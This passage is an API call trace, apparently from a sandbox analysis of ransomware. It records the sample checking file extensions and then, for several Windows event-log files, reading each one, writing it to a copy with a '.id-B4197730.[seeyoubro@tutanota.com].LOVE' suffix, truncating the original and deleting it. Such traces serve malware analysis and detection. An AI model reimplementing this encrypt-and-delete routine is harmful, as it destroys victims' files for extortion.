(lpString=".docx") returned 5 [0203.293] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.293] lstrlenW (lpString=".pdf") returned 4 [0203.293] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString=".xls") returned 4 [0203.293] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString=".xlsx") returned 5 [0203.293] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.293] lstrlenW (lpString=".ppt") returned 4 [0203.293] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.293] lstrlenW (lpString=".zip") returned 4 [0203.293] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString=".rar") returned 4 [0203.293] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString=".bz2") returned 4 [0203.293] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString=".7z") returned 3 [0203.293] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.293] lstrlenW (lpString=".dbf") returned 4 [0203.293] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.294] lstrlenW (lpString=".1cd") returned 4 [0203.294] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.294] lstrlenW (lpString=".jpg") returned 4 [0203.294] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.294] lstrlenW (lpString=".doc") returned 4 [0203.294] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".docx") returned 5 [0203.294] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.294] lstrlenW (lpString=".pdf") returned 4 [0203.294] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".xls") returned 4 [0203.294] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".xlsx") returned 5 [0203.294] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.294] lstrlenW (lpString=".ppt") returned 4 [0203.294] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.294] lstrlenW (lpString=".zip") returned 4 [0203.294] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".rar") returned 4 [0203.294] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".bz2") returned 4 [0203.294] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.294] lstrlenW (lpString=".7z") returned 3 [0203.294] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.294] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.295] lstrlenW (lpString=".dbf") returned 4 [0203.295] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.295] lstrlenW (lpString=".1cd") returned 4 [0203.295] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.295] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.295] lstrlenW (lpString=".jpg") returned 4 [0203.295] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.295] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.295] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0203.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0203.338] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=1118208) returned 1 [0203.338] CloseHandle (hObject=0x350) returned 1 [0203.338] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0203.339] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.339] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0203.339] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.339] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.339] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0203.339] GetLastError () returned 0x0 [0203.339] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0203.376] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0203.771] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11010, lpOverlapped=0x0) returned 1 [0203.782] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11020, lpOverlapped=0x0) returned 1 [0203.786] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.786] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x134, lpOverlapped=0x0) returned 1 [0203.787] SetEndOfFile (hFile=0x368) returned 1 [0203.787] CloseHandle (hObject=0x368) returned 1 [0204.030] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.030] SetEndOfFile (hFile=0x350) returned 1 [0204.030] CloseHandle (hObject=0x350) returned 1 [0204.030] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.031] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0204.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.031] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.031] lstrlenW (lpString=".doc") returned 4 [0204.031] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.031] lstrlenW (lpString=".docx") returned 5 [0204.031] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.031] lstrlenW (lpString=".pdf") returned 4 [0204.031] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.031] lstrlenW (lpString=".xls") returned 4 [0204.031] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.031] lstrlenW (lpString=".xlsx") returned 5 [0204.031] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.032] lstrlenW (lpString=".ppt") returned 4 [0204.032] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString=".zip") returned 4 [0204.032] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".rar") returned 4 [0204.032] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".bz2") returned 4 [0204.032] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".7z") returned 3 [0204.032] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString=".dbf") returned 4 [0204.032] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString=".1cd") returned 4 [0204.032] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString=".jpg") returned 4 [0204.032] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.032] lstrlenW (lpString=".doc") returned 4 [0204.032] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".docx") returned 5 [0204.032] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.032] lstrlenW (lpString=".pdf") returned 4 [0204.032] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".xls") returned 4 [0204.032] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.032] lstrlenW (lpString=".xlsx") returned 5 [0204.032] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.033] lstrlenW (lpString=".ppt") returned 4 [0204.033] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.033] lstrlenW (lpString=".zip") returned 4 [0204.033] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString=".rar") returned 4 [0204.033] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString=".bz2") returned 4 [0204.033] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString=".7z") returned 3 [0204.033] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.033] lstrlenW (lpString=".dbf") returned 4 [0204.033] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.033] lstrlenW (lpString=".1cd") returned 4 [0204.033] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.033] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0204.033] lstrlenW (lpString=".jpg") returned 4 [0204.033] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.033] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.033] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0204.033] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.033] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.034] CloseHandle (hObject=0x350) returned 1 [0204.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0204.034] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.034] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.034] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.034] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.176] GetLastError () returned 0x0 [0204.176] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.247] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.269] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.269] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x152, lpOverlapped=0x0) returned 1 [0204.269] SetEndOfFile (hFile=0x354) returned 1 [0204.270] CloseHandle (hObject=0x354) returned 1 [0204.284] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.284] SetEndOfFile (hFile=0x350) returned 1 [0204.286] CloseHandle (hObject=0x350) returned 1 [0204.286] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.287] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0204.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.287] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.287] lstrlenW (lpString=".doc") returned 4 [0204.287] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.287] lstrlenW (lpString=".docx") returned 5 [0204.287] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.287] lstrlenW (lpString=".pdf") returned 4 [0204.287] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.287] lstrlenW (lpString=".xls") returned 4 [0204.287] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.287] lstrlenW (lpString=".xlsx") returned 5 [0204.287] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.288] lstrlenW (lpString=".ppt") returned 4 [0204.288] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString=".zip") returned 4 [0204.288] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString=".rar") returned 4 [0204.288] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString=".bz2") returned 4 [0204.288] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString=".7z") returned 3 [0204.288] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString=".dbf") returned 4 [0204.288] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString=".1cd") returned 4 [0204.288] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString=".jpg") returned 4 [0204.288] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.288] lstrlenW (lpString=".doc") returned 4 [0204.288] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.288] lstrlenW (lpString=".docx") returned 5 [0204.288] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.288] lstrlenW (lpString=".pdf") returned 4 [0204.288] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString=".xls") returned 4 [0204.289] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString=".xlsx") returned 5 [0204.289] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.289] lstrlenW (lpString=".ppt") returned 4 [0204.289] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.289] lstrlenW (lpString=".zip") returned 4 [0204.289] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString=".rar") returned 4 [0204.289] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString=".bz2") returned 4 [0204.289] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString=".7z") returned 3 [0204.289] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.289] lstrlenW (lpString=".dbf") returned 4 [0204.289] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.289] lstrlenW (lpString=".1cd") returned 4 [0204.289] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.289] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0204.289] lstrlenW (lpString=".jpg") returned 4 [0204.289] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.289] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.289] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0204.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.290] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.290] CloseHandle (hObject=0x350) returned 1 [0204.290] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0204.290] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.290] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.290] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.291] GetLastError () returned 0x0 [0204.291] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.427] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.429] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.429] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x136, lpOverlapped=0x0) returned 1 [0204.429] SetEndOfFile (hFile=0x354) returned 1 [0204.429] CloseHandle (hObject=0x354) returned 1 [0204.431] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.431] SetEndOfFile (hFile=0x350) returned 1 [0204.432] CloseHandle (hObject=0x350) returned 1 [0204.433] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.433] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0204.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.433] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.433] lstrlenW (lpString=".doc") returned 4 [0204.433] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.433] lstrlenW (lpString=".docx") returned 5 [0204.433] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.433] lstrlenW (lpString=".pdf") returned 4 [0204.433] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.433] lstrlenW (lpString=".xls") returned 4 [0204.434] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString=".xlsx") returned 5 [0204.434] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.434] lstrlenW (lpString=".ppt") returned 4 [0204.434] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString=".zip") returned 4 